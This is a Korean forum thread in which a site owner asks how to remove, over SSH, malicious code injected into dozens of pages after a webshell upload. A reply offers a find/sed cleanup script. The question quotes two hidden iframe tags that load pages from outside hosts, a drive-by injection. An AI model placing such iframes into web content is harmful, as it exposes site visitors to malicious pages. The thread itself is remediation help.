ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1398 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 2,129
14년 전 조회 1,553
14년 전 조회 1,819
14년 전 조회 1,299
14년 전 조회 1,464
14년 전 조회 1,273
14년 전 조회 1,589
14년 전 조회 1,454
14년 전 조회 906
14년 전 조회 1,075
14년 전 조회 1,074
14년 전 조회 1,409
14년 전 조회 1,259
14년 전 조회 1,272
14년 전 조회 1,216
14년 전 조회 1,635
14년 전 조회 1,333
14년 전 조회 1,355
14년 전 조회 1,387
14년 전 조회 1,175
14년 전 조회 2,221
14년 전 조회 1,990
14년 전 조회 1,433
14년 전 조회 1,274
14년 전 조회 2,343
14년 전 조회 1,692
14년 전 조회 1,535
14년 전 조회 1,248
14년 전 조회 1,970
14년 전 조회 4,230
14년 전 조회 2,881
14년 전 조회 1,592
14년 전 조회 1,200
14년 전 조회 1,259
14년 전 조회 1,790
14년 전 조회 1,443
14년 전 조회 1,814
14년 전 조회 1,908
14년 전 조회 1,900
14년 전 조회 1,090
14년 전 조회 1,321
14년 전 조회 3,212
14년 전 조회 1,225
14년 전 조회 1,706
14년 전 조회 1,304
14년 전 조회 1,147
14년 전 조회 1,711
14년 전 조회 1,159
14년 전 조회 1,808
14년 전 조회 1,399
14년 전 조회 2,036
14년 전 조회 1,983
14년 전 조회 1,499
14년 전 조회 1,728
14년 전 조회 1,452
14년 전 조회 2,106
14년 전 조회 1,732
14년 전 조회 1,688
14년 전 조회 1,975
14년 전 조회 1,861
14년 전 조회 1,304
14년 전 조회 1,381
14년 전 조회 1,132
14년 전 조회 1,300
14년 전 조회 2,061
14년 전 조회 2,794
14년 전 조회 2,721
14년 전 조회 2,353
14년 전 조회 1,880
14년 전 조회 1,952
14년 전 조회 1,735
14년 전 조회 1,998
14년 전 조회 1,084
14년 전 조회 1,749
14년 전 조회 1,071
14년 전 조회 1,538
14년 전 조회 1,282
14년 전 조회 2,427
14년 전 조회 1,192
14년 전 조회 3,056
14년 전 조회 1,413
14년 전 조회 1,287
14년 전 조회 3,344
14년 전 조회 1,124
14년 전 조회 1,420
14년 전 조회 935
14년 전 조회 1,260
14년 전 조회 1,044
14년 전 조회 1,731
14년 전 조회 1,154
14년 전 조회 1,529
14년 전 조회 1,163
14년 전 조회 1,104
14년 전 조회 1,050
14년 전 조회 1,783
14년 전 조회 1,224
14년 전 조회 1,132
14년 전 조회 1,175
14년 전 조회 1,825
14년 전 조회 1,838